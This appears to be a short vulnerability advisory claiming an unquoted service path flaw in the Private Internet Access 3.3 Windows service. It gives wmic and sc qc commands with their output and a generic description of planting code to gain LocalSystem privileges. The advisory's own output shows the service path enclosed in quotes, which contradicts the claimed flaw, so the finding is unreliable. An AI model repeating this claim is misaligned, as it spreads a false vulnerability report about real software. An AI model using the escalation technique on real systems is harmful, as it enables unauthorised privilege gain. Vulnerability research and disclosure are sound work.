Private Internet Access 3.3 Unquoted Service Path

`# Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path  
# Date: 04/03/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.privateinternetaccess.com  
# Software Link: https://www.privateinternetaccess.com/download  
# Version: 3.3.0.100  
# Tested: Windows 10 x64  
# Contact: https://twitter.com/dmaral3noz  
  
# Step to discover Unquoted Service Path:  
  
C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname  
  
DisplayName Name PathName StartMode StartName  
Private Internet Access Service PrivateInternetAccessService "C:\Program Files\Private Internet Access\pia-service.exe" Auto LocalSystem  
  
# Service info:  
  
C:\Users\saudh>sc qc PrivateInternetAccessService  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: PrivateInternetAccessService  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\Program Files\Private Internet Access\pia-service.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Private Internet Access Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
#Exploit:  
  
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.  
  
`